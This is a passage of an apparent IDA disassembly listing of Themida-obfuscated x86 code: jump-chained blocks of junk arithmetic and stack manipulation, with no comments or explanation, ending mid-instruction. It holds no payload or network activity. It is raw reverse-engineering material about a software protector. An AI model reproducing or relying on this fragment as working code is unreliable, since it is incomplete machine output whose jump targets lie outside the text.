mov ch, cl loc_593303: ; CODE XREF: sub_59196D+3214j add eax, 0C140B406h push edx mov edx, 239398Bh add esi, edx pop edx add esi, eax jmp loc_58C681 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp+2Ah+var_2A], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593327: ; CODE XREF: Themida_:0058CDE7j push esi push 4 pop esi add eax, esi pop esi add eax, 4 xchg eax, [esp+2Eh+var_2E] pop esp push ebx push 2971h mov [esp+32h+var_32], esp add [esp+32h+var_32], 4 mov ebx, [esp+32h+var_32] add esp, 4 push eax mov eax, 4 add ebx, eax jmp loc_58E98A ; --------------------------------------------------------------------------- loc_59335B: ; CODE XREF: sub_59196D-1F08j add esp, 4 jmp sub_58B85F ; --------------------------------------------------------------------------- loc_593366: ; CODE XREF: Themida_:0059189Aj push esp pop ebx add ebx, 4 push 22B0h jmp loc_5903AC ; --------------------------------------------------------------------------- mov ax, word ptr [esp+52h+var_54+2] push 0F8Ah mov [esp+0], eax jmp loc_5939FD ; --------------------------------------------------------------------------- loc_593389: ; CODE XREF: sub_59196D+2506j push 617h jmp loc_58C9EE ; --------------------------------------------------------------------------- loc_593393: ; CODE XREF: sub_59196D-580Fj mov ebp, [esp+0Ch+var_C] add esp, 4 or eax, eax jz loc_58D266 push 3F38h mov [esp+0Ch+var_C], edx jmp loc_598559 ; --------------------------------------------------------------------------- loc_5933B1: ; CODE XREF: sub_59196D-17BAj jmp loc_596305 ; --------------------------------------------------------------------------- loc_5933B6: ; CODE XREF: sub_59196D-6170j pop edi jmp loc_594172 ; --------------------------------------------------------------------------- loc_5933BC: ; CODE XREF: sub_59196D-3B13j ; sub_59196D+10ABj add eax, 4 push 2F30h mov [esp+1Ch+var_1E+2], edx jmp loc_596C84 ; --------------------------------------------------------------------------- loc_5933CE: ; CODE XREF: sub_59196D+288j ; sub_59196D+5614j mov [esp+1Ch+var_1E+2], ecx jmp loc_596366 ; --------------------------------------------------------------------------- loc_5933D6: ; CODE XREF: sub_59196D-1E1Dj xchg ebp, [esp+12h+var_12] pop esp mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_5947F1 ; --------------------------------------------------------------------------- loc_5933E6: ; CODE XREF: sub_59196D+540Fj mov [esp], ebx push edi jmp loc_591C72 ; --------------------------------------------------------------------------- loc_5933EF: ; CODE XREF: sub_59196D+6AA8j dec ebx push ecx mov ecx, 77217927h jmp loc_591791 ; --------------------------------------------------------------------------- loc_5933FB: ; CODE XREF: sub_59196D+5FE0j pop edi jmp loc_5907A6 ; --------------------------------------------------------------------------- loc_593401: ; CODE XREF: sub_59196D-55AAj xchg ecx, [esp+10h+var_12+2] pop esp shr word ptr [esp+0Ch+var_C], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59340F: ; CODE XREF: sub_59196D+5CDCj mov [esp+10h+var_12+2], esp jmp loc_58C0D6 ; --------------------------------------------------------------------------- loc_593417: ; CODE XREF: sub_59196D-2FCCj push [esp+20h+var_22+2] pop ecx sub esp, 4 jmp loc_58FAA7 ; --------------------------------------------------------------------------- loc_593426: ; CODE XREF: sub_59196D+294j add [esp+14h+var_12+2], 46395B4Ch add [esp+14h+var_12+2], ebp sub [esp+14h+var_12+2], 46395B4Ch pop ebp mov esi, [esp+10h+var_12+2] push 592Ah mov [esp+14h+var_16+2], edx mov edx, esp jmp loc_5935B5 ; --------------------------------------------------------------------------- loc_59344D: ; CODE XREF: sub_59196D+2F3Ej neg ebx jle loc_58BDC3 inc ebx add ebx, 195A1E3Bh jmp loc_59752F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+14h+var_16+2] sub esp, 4 jmp loc_58B830 ; --------------------------------------------------------------------------- loc_593470: ; CODE XREF: sub_59196D-32BBj pop ebx push esi mov esi, edi push esi add [esp+4Eh+var_4E], 1B715271h pop ecx push ebp jmp loc_58F7BD ; --------------------------------------------------------------------------- loc_593483: ; CODE XREF: sub_59196D+51ACj pop esi jmp loc_590F69 ; --------------------------------------------------------------------------- loc_593489: ; CODE XREF: sub_59196D-2B77j push [esp+24h+var_22+2] pop eax pop [esp+24h+var_26+2] mov esp, [esp+20h+var_22+2] push [esp+20h+var_22+2] mov ecx, [esp+24h+var_26+2] add esp, 4 push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax push esi push edi mov edi, 3F6D7112h mov esi, 3134091Fh jmp loc_591C46 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+2Ch+var_2E+2] jmp sub_59843D ; --------------------------------------------------------------------------- loc_5934C6: ; CODE XREF: sub_59196D+2D4j push [esp+14h+var_12+2] jmp loc_58C516 ; --------------------------------------------------------------------------- loc_5934CF: ; CODE XREF: sub_59196D+6A13j push edi mov edi, 5BED5BA4h sub ecx, 252F4F46h sub ecx, edi add ecx, 252F4F46h pop edi sub ecx, 9C030802h sub edi, ecx pop ecx sub ebx, edi pop edi and eax, ebx pop ebx shr eax, 0Ah xor eax, ecx push 35E1h mov [esp+10h+var_12+2], eax xor [esp+10h+var_12+2], esi jmp loc_591C1F ; --------------------------------------------------------------------------- loc_593508: ; CODE XREF: sub_59196D+560Ej ; sub_59196D+6494j jmp loc_5922C9 ; --------------------------------------------------------------------------- loc_59350D: ; CODE XREF: sub_59196D-53DCj ; sub_59196D-5332j add esp, 4 mov edx, [esp+0] add esp, 4 jmp loc_58BCB5 ; --------------------------------------------------------------------------- loc_59351E: ; CODE XREF: sub_59196D+652j add cl, 0FCh add al, cl mov ecx, [esp+1Ch+var_1E+2] add esp, 4 sub al, cl push ebx push edx mov dl, 60h mov bh, dl mov edx, [esp+20h+var_22+2] add esp, 4 xor bh, 98h jmp loc_593DF6 ; --------------------------------------------------------------------------- loc_593545: ; CODE XREF: sub_59196D+4DFDj add eax, 2 jmp loc_5919EF ; --------------------------------------------------------------------------- loc_59354D: ; CODE XREF: sub_59196D-26AAj pop [esp+28h+var_2A+2] jmp loc_591C6A ; --------------------------------------------------------------------------- loc_593555: ; CODE XREF: sub_59196D+4E16j sub esp, 4 jmp loc_596E20 ; --------------------------------------------------------------------------- loc_59355D: ; CODE XREF: sub_59196D+597j push esi jmp loc_591A35 ; --------------------------------------------------------------------------- loc_593563: ; DATA XREF: Themida_:0058B19Co pop small word ptr [edx] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59356B: ; CODE XREF: sub_59196D+4Ej xchg edi, [esp+2Eh+var_2E] pop esp mov [esp+2Ah+var_2A], ebx push [esp+2Ah+var_2A] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+2Eh+var_2E] pop esp push 3CFCh jmp loc_597F0C ; --------------------------------------------------------------------------- loc_593590: ; CODE XREF: sub_59196D+40B4j pop ebp jmp loc_58C76F ; --------------------------------------------------------------------------- loc_593596: ; CODE XREF: sub_59196D+64A0j mov esi, 4 jmp loc_5932AC ; --------------------------------------------------------------------------- loc_5935A0: ; CODE XREF: sub_59196D+67D0j mov ecx, 37D04061h jmp loc_58DCA4 ; --------------------------------------------------------------------------- loc_5935AA: ; CODE XREF: sub_59196D+37j sub esp, 2 jmp loc_59558D ; --------------------------------------------------------------------------- loc_5935B5: ; CODE XREF: sub_59196D+1ADBj add edx, 4 jmp loc_58CBC6 ; --------------------------------------------------------------------------- loc_5935C0: ; CODE XREF: sub_59196D-18A8j add dl, 0C3h and ch, dl jmp loc_593AA8 ; --------------------------------------------------------------------------- loc_5935CA: ; CODE XREF: sub_59196D-3BA0j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5935CF: ; CODE XREF: sub_59196D+5049j pop edi pop ebx jmp loc_58B71B ; --------------------------------------------------------------------------- loc_5935D6: ; CODE XREF: sub_59196D-2961j sub eax, 61E0E03h jmp loc_58E4C3 ; --------------------------------------------------------------------------- push [esp-14h+arg_10] mov ecx, [esp-10h+arg_C] add esp, 4 push 2B9Eh mov [esp-10h+arg_C], eax jmp loc_58D162 ; --------------------------------------------------------------------------- loc_5935F9: ; CODE XREF: sub_59196D-3A18j mov [esp+30h+var_32+2], edx jmp loc_594DD9 ; --------------------------------------------------------------------------- loc_593601: ; CODE XREF: sub_59196D-3EFEj add esi, 2 xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] rol [esp+8+var_8], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593616: ; CODE XREF: sub_59196D-3DADj mov ebp, [esp+36h+var_36] jmp loc_58F6C4 ; --------------------------------------------------------------------------- loc_59361E: ; CODE XREF: sub_59196D+5AEBj ; sub_59196D+6B39j sub ebx, 9C148D21h jmp loc_596318 ; --------------------------------------------------------------------------- loc_593629: ; CODE XREF: sub_59196D-2291j pop esp push edx mov dh, 45h push 6DC6h mov [esp-8+arg_4], ecx push edx jmp loc_5908B1 ; --------------------------------------------------------------------------- loc_59363B: ; CODE XREF: sub_59196D-1116j mov [esp+24h+var_26+2], edx mov edx, 58720931h sub edx, 2918690Fh not edx neg edx jle loc_58B8AA sub edx, 32F440C7h jmp loc_58F2C8 ; --------------------------------------------------------------------------- loc_59365E: ; CODE XREF: sub_58C57F+75Bj mov ecx, 5A584D8Bh mov eax, ecx pop ecx jmp loc_590B10 ; --------------------------------------------------------------------------- loc_59366B: ; CODE XREF: sub_59196D+4229j sub ebx, 57F677BAh jmp loc_59378A ; --------------------------------------------------------------------------- loc_593676: ; CODE XREF: sub_59196D+4CFBj mov [esp+20h+var_22+2], ebp mov ebp, 150E58EDh or ebp, 4AC81E4Ah neg ebp jmp loc_59541F ; --------------------------------------------------------------------------- loc_59368B: ; CODE XREF: sub_59196D-286j add esp, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp+8+var_8] pop esp add esp, 4 imul ecx jmp loc_592907 ; --------------------------------------------------------------------------- loc_5936A5: ; CODE XREF: sub_59196D+4118j add edx, 6EA81941h add edx, edi sub edx, 6EA81941h add edx, 53E17CC0h push edi jmp loc_5959E3 ; --------------------------------------------------------------------------- loc_5936BF: ; CODE XREF: sub_59196D+4563j js loc_58D347 jmp loc_58DBCE ; --------------------------------------------------------------------------- loc_5936CA: ; CODE XREF: sub_58F42B-F12j push edx mov edx, 21553C60h push ebp mov ebp, 624250BBh shl ebp, 2 jmp loc_58FFC3 ; --------------------------------------------------------------------------- loc_5936DE: ; CODE XREF: sub_59196D+1278j ; sub_59196D+6627j xchg ecx, [esp+18h+var_1A+2] pop esp jmp loc_590E7E ; --------------------------------------------------------------------------- loc_5936E7: ; CODE XREF: sub_59196D-C6Fj pop esi add esi, 4 add esi, 4 push esi push [esp+24h+var_22+2] pop esi pop [esp+24h+var_26+2] jmp loc_5906FA ; --------------------------------------------------------------------------- loc_5936FF: ; CODE XREF: sub_58F533-2D41j xor [esp+20h+var_22+2], esi xor esi, [esp+20h+var_22+2] pop esp push 0ABAh mov [esp+20h+var_22+2], edi jmp loc_58D609 ; --------------------------------------------------------------------------- loc_593713: ; CODE XREF: sub_59196D+D8Fj push edx push ebp jmp loc_594A59 ; --------------------------------------------------------------------------- loc_59371A: ; CODE XREF: sub_59196D+4FD0j xor [esp-10h+arg_C], esi xor esi, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] loc_593723: ; CODE XREF: sub_59196D-582j push ecx mov ecx, 639A3F2Ch or ecx, 49E10F10h jl loc_58B764 dec ecx jmp loc_5909DE ; --------------------------------------------------------------------------- loc_59373B: ; CODE XREF: sub_59196D+4457j and edi, 6690A53h jmp loc_58F718 ; --------------------------------------------------------------------------- loc_593746: ; CODE XREF: sub_59196D+44E9j pop eax pop [esp-10h+arg_C] mov esp, [esp-14h+arg_10] mov [esp-14h+arg_10], edx push esp jmp loc_592C64 ; --------------------------------------------------------------------------- loc_593756: ; CODE XREF: sub_59196D+3AF8j sub edx, esi pop esi jmp sub_58E0B1 ; --------------------------------------------------------------------------- loc_59375E: ; CODE XREF: sub_59196D+728j or eax, eax jz loc_5964DF push dword ptr [edi+1Ch] push [esp+2Ch+var_2E+2] push [esp+30h+var_32+2] pop ecx add esp, 4 push edx mov edx, esp push eax mov eax, 4 add edx, eax mov eax, [esp+34h+var_36+2] add esp, 4 push ebp jmp loc_594A73 ; --------------------------------------------------------------------------- loc_59378A: ; CODE XREF: sub_59196D+1D04j add ecx, ebx pop ebx sub ecx, 4 jmp loc_590A95 ; --------------------------------------------------------------------------- loc_593795: ; CODE XREF: sub_59196D:loc_594D07j and eax, 7E55142h jge loc_5953B3 xor eax, 0CC2C7F0Ch mov esi, eax pop eax add esi, edx pop edx mov ah, bh loc_5937AD: ; CODE XREF: sub_58B60E+517Fj add esp, 4 jmp loc_58B602 ; --------------------------------------------------------------------------- loc_5937B8: ; CODE XREF: sub_59196D+C69j ; sub_59196D+58FDj or edx, 3CAB5DCAh push 367Eh mov [esp+40h+var_40], ecx mov ecx, 28437C98h or edx, ecx pop ecx jmp loc_59703E ; --------------------------------------------------------------------------- loc_5937D3: ; DATA XREF: Themida_:0058B265o mov ax, word ptr [esp+3Ch+var_3C] push 428Fh mov [esp+40h+var_40], ebp push 2F87h jmp loc_597EC3 ; --------------------------------------------------------------------------- loc_5937E9: ; CODE XREF: sub_59196D+545Ej push 6952h mov [esp+48h+var_4A+2], ecx push 1C07h jmp loc_5917A2 ; --------------------------------------------------------------------------- loc_5937FB: ; CODE XREF: sub_59196D-3A6Aj pop [esp+34h+var_36+2] pop esp mov [esp+2Ch+var_2E+2], ebp push 1 pop ebp or [edi+1Ch], ebp push [esp+2Ch+var_2E+2] jmp loc_58D649 ; --------------------------------------------------------------------------- loc_593813: ; CODE XREF: sub_59196D+2C3j push ecx mov ecx, 4 mov esi, ecx pop ecx add eax, esi pop esi add eax, 4 push 41DCh jmp loc_594462 ; --------------------------------------------------------------------------- loc_59382C: ; CODE XREF: sub_59196D+23F0j shr ecx, 0Ah push edx push ebx xor [esp+18h+var_1A+2], 7F14679Ah pop edx jmp loc_58E930 ; --------------------------------------------------------------------------- loc_59383E: ; CODE XREF: sub_59196D-47D8j pop edx jmp loc_591981 ; --------------------------------------------------------------------------- loc_593844: ; CODE XREF: sub_59196D-3636j not edx xchg edx, ecx xchg ecx, esi jmp loc_597952 ; --------------------------------------------------------------------------- loc_59384F: ; CODE XREF: sub_59196D+1247j add edx, 2D205566h jmp loc_596D81 ; --------------------------------------------------------------------------- loc_59385A: ; CODE XREF: sub_59196D+2F11j push [esp+18h+var_1A+2] pop eax add esp, 4 push ecx mov ecx, 2 add ebx, ecx jmp loc_594264 ; --------------------------------------------------------------------------- loc_593871: ; CODE XREF: sub_59196D-1B1Cj sub eax, 7EB10CB0h add eax, 31F529DCh pop edi xchg eax, [esp+0Ch+var_C] jmp loc_590C15 ; --------------------------------------------------------------------------- loc_593884: ; CODE XREF: sub_59196D+43A8j push [esp+0Ch+var_8] pop ecx pop [esp+0Ch+var_C] jmp loc_5930DF ; --------------------------------------------------------------------------- loc_593891: ; CODE XREF: sub_59196D-1C37j mov edx, esp jmp loc_590C3E ; --------------------------------------------------------------------------- loc_593898: ; CODE XREF: sub_59196D+5206j shr esi, 1 sub esi, 102000Fh add ebx, esi pop esi push esi push 0DDAh jmp loc_5972D7 ; --------------------------------------------------------------------------- loc_5938AE: ; CODE XREF: sub_59196D+66DFj jmp loc_58C25E ; --------------------------------------------------------------------------- loc_5938B3: ; CODE XREF: sub_59196D-4704j push [esp+36h+var_36] mov ecx, [esp+3Ah+var_3C+2] add esp, 4 push esi jmp loc_596F62 ; --------------------------------------------------------------------------- loc_5938C5: ; CODE XREF: sub_59196D-3A7Aj pop ebp add eax, 4 push eax push [esp+30h+var_2E+2] pop eax pop [esp+30h+var_32+2] pop esp pop [esp+28h+var_2A+2] mov esp, [esp+24h+var_26+2] jmp loc_590DC0 ; --------------------------------------------------------------------------- loc_5938DE: ; CODE XREF: sub_59196D+53CAj mov [esp+24h+var_26+2], ebx push [esp+24h+var_26+2] pop eax jmp loc_597C21 ; --------------------------------------------------------------------------- loc_5938EA: ; CODE XREF: sub_59196D+6856j pop [esp+24h+var_26+2] add [esp+20h+var_22+2], 4 mov ebp, [esp+20h+var_22+2] push edi mov edi, esp jmp loc_593058 ; --------------------------------------------------------------------------- loc_5938FF: ; CODE XREF: sub_59196D-2A8Dj add edx, 4A41659h mov ebp, [esp+3Ah+var_3C+2] add esp, 4 add edx, eax push 7583h jmp loc_594B8E ; --------------------------------------------------------------------------- loc_59391A: ; CODE XREF: sub_59196D+3F9Ej push [esp+3Ah+var_3C+2] pop eax add esp, 4 or ebx, ebx jnz loc_59690A sub esp, 4 mov [esp+3Ah+var_3C+2], edx sub [esp+3Ah+var_3C+2], 723A6739h pop dword ptr [edi+20h] jmp loc_59420B ; --------------------------------------------------------------------------- loc_593941: ; CODE XREF: sub_59196D+B3Fj and ebp, 23417AE9h jno loc_58E6FA jmp loc_592A2E ; --------------------------------------------------------------------------- add eax, 676F20FFh push eax pop edx add al, 0CBh push eax loc_59395C: ; CODE XREF: sub_59196D-1321j ; sub_59196D+2DA6j and ecx, 49F65E2Ch jmp loc_592CFD ; --------------------------------------------------------------------------- loc_593967: ; CODE XREF: sub_59196D:loc_58BCE9j jmp loc_58E1EA ; --------------------------------------------------------------------------- loc_59396C: ; CODE XREF: sub_59196D+4C7Bj dec eax shr eax, 7 jmp loc_592C19 ; --------------------------------------------------------------------------- loc_593975: ; CODE XREF: sub_59196D+44EFj pop eax jmp loc_591F52 ; --------------------------------------------------------------------------- loc_59397B: ; CODE XREF: sub_59196D-257Cj ; sub_59196D+65B2j add edi, 4 jmp loc_58ECB5 ; --------------------------------------------------------------------------- loc_593986: ; CODE XREF: sub_59196D+4E3Aj pop dx jmp loc_59861B ; --------------------------------------------------------------------------- loc_59398D: ; CODE XREF: Themida_:0058CE7Cj mov ecx, 62783858h push edi jmp loc_58C244 ; --------------------------------------------------------------------------- loc_593998: ; CODE XREF: sub_59196D+1844j pop edi jmp loc_5980CA ; --------------------------------------------------------------------------- loc_59399E: ; CODE XREF: sub_59196D+2699j ; sub_59196D+602Aj pop esp jmp loc_58F423 ; --------------------------------------------------------------------------- loc_5939A4: ; CODE XREF: sub_59196D+628Cj dec ebx add ebx, 6AB477Eh shr ebx, 7 not ebx push edx mov edx, 0 jmp loc_5952A7 ; --------------------------------------------------------------------------- loc_5939BB: ; CODE XREF: sub_59196D+2D02j ; sub_59196D+68A5j xor edx, 1F114949h jmp loc_592948 ; --------------------------------------------------------------------------- loc_5939C6: ; CODE XREF: sub_59069A-40A4j sub ecx, 4C6D2EF1h sub ecx, eax add ecx, 4C6D2EF1h pop eax jmp loc_58C940 ; --------------------------------------------------------------------------- loc_5939DA: ; CODE XREF: sub_590CDB-444Fj xor [esp+0], ebx xor ebx, [esp+0] mov esp, [esp+0] jmp loc_58EF75 ; --------------------------------------------------------------------------- loc_5939E8: ; CODE XREF: Themida_:00590E93j mov bh, 10h not bh shl bh, 7 jmp loc_58C337 ; --------------------------------------------------------------------------- loc_5939F4: ; CODE XREF: sub_59196D:loc_593BBFj xor ah, 0EAh push ebx jmp loc_597EFE ; --------------------------------------------------------------------------- loc_5939FD: ; CODE XREF: sub_59196D+1A17j mov eax, esp push edx mov edx, 4 push edi mov edi, 7EB55EAFh sub eax, edi jmp loc_58ED44 ; --------------------------------------------------------------------------- loc_593A12: ; CODE XREF: sub_59196D+4462j jmp loc_58F52A ; --------------------------------------------------------------------------- loc_593A17: ; CODE XREF: sub_59196D-54F3j push small 0A92h mov word ptr [esp+14h+var_16+2], ax jmp loc_58F939 ; --------------------------------------------------------------------------- loc_593A24: ; CODE XREF: sub_59196D-590j ; sub_59196D+1976j pop eax sub al, 2Eh push bx mov bl, 0A4h sub al, bl jmp loc_58DBC5 ; --------------------------------------------------------------------------- loc_593A32: ; CODE XREF: Themida_:0058C699j add al, 0FCh sub al, bl sub esp, 4 mov [esp+0], ecx mov cl, 59h dec cl xchg dh, cl xor dh, ah jmp loc_59866B ; --------------------------------------------------------------------------- loc_593A4C: ; CODE XREF: sub_59196D+5672j ; sub_59196D+6C6Bj pop esp jmp loc_58F074 ; --------------------------------------------------------------------------- loc_593A52: ; CODE XREF: sub_59196D+107Aj add esi, 4 push ebp jmp loc_5902A6 ; --------------------------------------------------------------------------- loc_593A5E: ; CODE XREF: sub_59196D:loc_58E367j shl ebp, 5 jmp loc_58EA09 ; --------------------------------------------------------------------------- loc_593A66: ; CODE XREF: sub_59196D-548Dj push edx push ebp mov ebp, 5F422C77h mov edx, ebp jmp loc_591263 ; --------------------------------------------------------------------------- loc_593A74: ; CODE XREF: sub_59196D-4A4Cj or dl, 47h jge loc_595C90 jmp loc_590E6E ; --------------------------------------------------------------------------- loc_593A82: ; CODE XREF: sub_5909BD-24DAj push 4AE9h jmp loc_595229 ; --------------------------------------------------------------------------- loc_593A8C: ; CODE XREF: Themida_:0058F4F1j sub esp, 4 mov [esp+18h+var_1A+2], eax sub esp, 4 mov [esp+1Ch+var_1E+2], ebp jmp loc_58ECA1 ; --------------------------------------------------------------------------- loc_593A9D: ; CODE XREF: sub_59196D+32C0j push ebp mov ebp, 5E024D4h jmp loc_591400 ; --------------------------------------------------------------------------- loc_593AA8: ; CODE XREF: sub_59196D+1C58j pop dx add ch, 1 and ch, 8Fh jmp loc_590D03 ; --------------------------------------------------------------------------- loc_593AB5: ; CODE XREF: sub_59196D+61j mov esi, 4 add eax, esi pop esi xor eax, [esp+2Ah+var_2A] jmp loc_598653 ; --------------------------------------------------------------------------- loc_593AC5: ; CODE XREF: sub_59196D-2360j push eax mov ah, 39h shr ah, 2 shl ah, 3 and ah, 79h dec ah jmp loc_594C01 ; --------------------------------------------------------------------------- loc_593AD8: ; CODE XREF: sub_59196D+125Bj pop ebp pop [esp+18h+var_1A+2] pop esp jmp loc_58D89E ; --------------------------------------------------------------------------- loc_593AE2: ; CODE XREF: sub_59196D-4272j mov esi, 2AFA71F2h jmp loc_5922A4 ; --------------------------------------------------------------------------- loc_593AEC: ; CODE XREF: sub_59196D+5229j add edi, 4 add edi, 4 xchg edi, [esp+14h+var_16+2] pop esp sub al, bl jmp loc_58B9F2 ; --------------------------------------------------------------------------- loc_593B03: ; CODE XREF: sub_59196D-4A4j push 6766h jmp loc_58E498 ; --------------------------------------------------------------------------- loc_593B0D: ; CODE XREF: sub_59196D-5C7Ej mov esi, esp jmp loc_58E24D ; --------------------------------------------------------------------------- loc_593B14: ; CODE XREF: sub_59196D-3CCEj shl ebx, 1 add ebx, 31D7536Ch jnb loc_594EFB xor ebx, 10E9A180h mov ebp, ebx pop ebx or ebp, 0ADC3427h sub ebp, 1FFF37FEh push ebx mov ebx, 0 add ebx, ecx add [ebx], ebp pop ebx pop ebp jmp loc_597F7D ; --------------------------------------------------------------------------- loc_593B48: ; CODE XREF: sub_59196D+4142j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593B4D: ; CODE XREF: sub_59196D+4946j pop esp dec [esp+10h+var_12+2] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_593B57: ; CODE XREF: sub_59196D-6377j ; sub_59196D+230Dj pop edx xor eax, 6E5E172Ah xor eax, 1FF80243h push ebx push eax mov eax, 2AFD3E1Dh mov ebx, 55AF48E1h sub ebx, eax pop eax jmp loc_594B76 ; --------------------------------------------------------------------------- loc_593B76: ; CODE XREF: sub_59196D:loc_58EBFEj jmp loc_598046 ; --------------------------------------------------------------------------- loc_593B7B: ; CODE XREF: sub_59196D-36B5j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp+34h+var_36+2] xor [esp+34h+var_36+2], edx xor edx, [esp+34h+var_36+2] pop esp jmp loc_58F7A6 ; --------------------------------------------------------------------------- loc_593B95: ; CODE XREF: sub_59196D+F95j not ebp shr ebp, 6 add ebp, 11D89DC2h sub edi, ebp pop ebp add edi, 1 push 5673h mov [esp+32h+var_32], edx push ecx push 2F0B3F3Fh mov ecx, [esp+3Ah+var_3C+2] add esp, 4 jmp loc_58E043 ; --------------------------------------------------------------------------- loc_593BBF: ; CODE XREF: sub_59196D-2C12j jg loc_5939F4 xor ah, 0EAh push ebx jmp loc_595DAD ; --------------------------------------------------------------------------- mov eax, esp push edx loc_593BD1: ; CODE XREF: sub_59196D+32C8j xor esi, [esp+1Ch+var_1E+2] pop esp or edx, eax jmp loc_58F958 ; --------------------------------------------------------------------------- loc_593BDC: ; CODE XREF: sub_59196D+5DC0j push ebx mov ebx, 0 sub ebx, eax xchg eax, ebx pop ebx not eax neg eax dec eax xor eax, 5C7E5C04h add edx, eax jmp loc_58E977 ; --------------------------------------------------------------------------- loc_593BF7: ; DATA XREF: Themida_:0058B0A8o mov ax, word ptr [esp+18h+var_1A+2] push 51CEh jmp loc_5984CC ; --------------------------------------------------------------------------- loc_593C05: ; CODE XREF: sub_59196D+13F4j mov ebp, esp push eax sub esp, 4 mov [esp+34h+var_36+2], ecx mov ecx, 55894DF5h push 0A8Ch jmp loc_596A41 ; --------------------------------------------------------------------------- loc_593C1D: ; CODE XREF: sub_59196D+573j mov [esp+10h+var_12+2], esp add [esp+10h+var_12+2], 4 pop edi push esi mov esi, 4 add edi, esi pop esi jmp loc_5919B1 ; --------------------------------------------------------------------------- loc_593C33: ; CODE XREF: sub_59196D-1ECBj add esi, 0FFFFFFFFh push 0 jmp loc_595503 ; --------------------------------------------------------------------------- loc_593C43: ; CODE XREF: sub_59196D+5F10j pop esp jmp loc_58EB0A ; --------------------------------------------------------------------------- loc_593C49: ; CODE XREF: sub_59196D-3CD6j pop ebx mov ebx, 8263A3F2h jmp loc_594749 ; --------------------------------------------------------------------------- loc_593C54: ; CODE XREF: sub_59196D+2AE1j jmp loc_5924AA ; --------------------------------------------------------------------------- loc_593C59: ; CODE XREF: sub_59196D+24DEj sub eax, 14C83538h sub eax, 117714FEh jmp loc_5970D8 ; --------------------------------------------------------------------------- loc_593C68: ; CODE XREF: sub_591000+3j mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 pop ecx jmp loc_5962CF ; --------------------------------------------------------------------------- loc_593C78: ; CODE XREF: Themida_:0058D0C4j add eax, edx jmp loc_593B57 ; --------------------------------------------------------------------------- loc_593C7F: ; CODE XREF: sub_59196D+5740j and ah, 28h not ah sub ah, 47h push ebx jmp loc_591B60 ; --------------------------------------------------------------------------- loc_593C8D: ; CODE XREF: sub_59196D+BFCj mov [esp+20h+var_22+2], edx jmp loc_590163 ; --------------------------------------------------------------------------- loc_593C95: ; CODE XREF: sub_59196D+3F6Fj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] jmp loc_59671F ; --------------------------------------------------------------------------- loc_593CAC: ; CODE XREF: sub_59196D-177Aj mov edx, [esp+1Ch+var_1E+2] add esp, 4 push eax mov eax, 2D657D8Ah sub edx, 4BDD51CEh jmp loc_597F24 ; --------------------------------------------------------------------------- loc_593CC6: ; CODE XREF: sub_59196D-1ECj ; sub_59196D+3F46j add edx, ebp pop ebp sub esp, 4 mov [esp+2Eh+var_2E], esi mov esi, 30046594h sub esi, 83060F6h jns loc_58D169 neg esi js loc_58EF98 and esi, 37935EB4h loc_593CEE: ; CODE XREF: sub_59196D-22C5j add edi, esi add edi, 183925EEh pop esi push ecx mov ecx, 238316Fh jmp loc_594C6D ; --------------------------------------------------------------------------- loc_593D02: ; CODE XREF: sub_59196D-360Bj mov ecx, 1F6B1609h xor [esp+16h+var_12], ecx mov ecx, [esp+16h+var_16] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 jmp loc_58BA80 ; --------------------------------------------------------------------------- loc_593D22: ; CODE XREF: sub_59196D+3160j not eax jmp loc_58B5ED ; --------------------------------------------------------------------------- loc_593D29: ; CODE XREF: sub_59196D+4134j pop esi sub esi, 54451DB3h pop ecx add eax, 16CC48A0h add eax, 4CEC2FA2h jmp loc_5915B1 ; --------------------------------------------------------------------------- loc_593D40: ; CODE XREF: sub_59196D-5D45j add eax, edi pop edi xor eax, 3615A716h jmp loc_5957BF ; --------------------------------------------------------------------------- loc_593D4D: ; CODE XREF: sub_59196D-470Dj add ebx, 4 add ebx, 4 xchg ebx, [esp+14h+var_16+2] pop esp jmp loc_59382C ; --------------------------------------------------------------------------- loc_593D62: ; CODE XREF: sub_59196D+2825j mov dh, 80h shr dh, 1 dec dh jns loc_58C28E jmp loc_58CC57 ; --------------------------------------------------------------------------- not cl push edx mov dl, 24h pop esp loc_593D79: ; CODE XREF: sub_59196D-22DCj ; sub_59196D+4BFFj pop ecx add ecx, ebx jmp loc_597BAE ; --------------------------------------------------------------------------- loc_593D81: ; CODE XREF: sub_59196D-4ACj add bl, 63h add bl, al sub bl, 63h pop eax push eax push ebx mov bl, 99h jmp sub_58B4DA ; --------------------------------------------------------------------------- loc_593D93: ; CODE XREF: sub_59196D+3015j push esi mov esi, esp sub esp, 4 mov [esp+0], edi mov edi, 331F1CCAh xor edi, 4A5274E4h push ecx push 32CA1924h mov ecx, [esp+4Eh+var_4E] jmp loc_58F32B ; --------------------------------------------------------------------------- loc_593DB5: ; CODE XREF: Themida_:0058B4FFj mov [esp+4Eh+var_4E], ebx jmp loc_59296E ; --------------------------------------------------------------------------- loc_593DBD: ; CODE XREF: sub_59196D:loc_596DFBj jmp loc_58B6D5 ; --------------------------------------------------------------------------- loc_593DC2: ; CODE XREF: sub_59196D-224Fj xor edi, 0ECF770Eh mov ebp, edi pop edi push esi jmp loc_58D888 ; --------------------------------------------------------------------------- loc_593DD1: ; CODE XREF: sub_59196D+66A2j mov ebp, 1E9F4271h jmp loc_58F64A ; --------------------------------------------------------------------------- loc_593DDB: ; CODE XREF: sub_59196D-9A6j mov ecx, [esp+24h+var_26+2] add esp, 4 push 0C10h mov [esp+24h+var_26+2], esi jmp 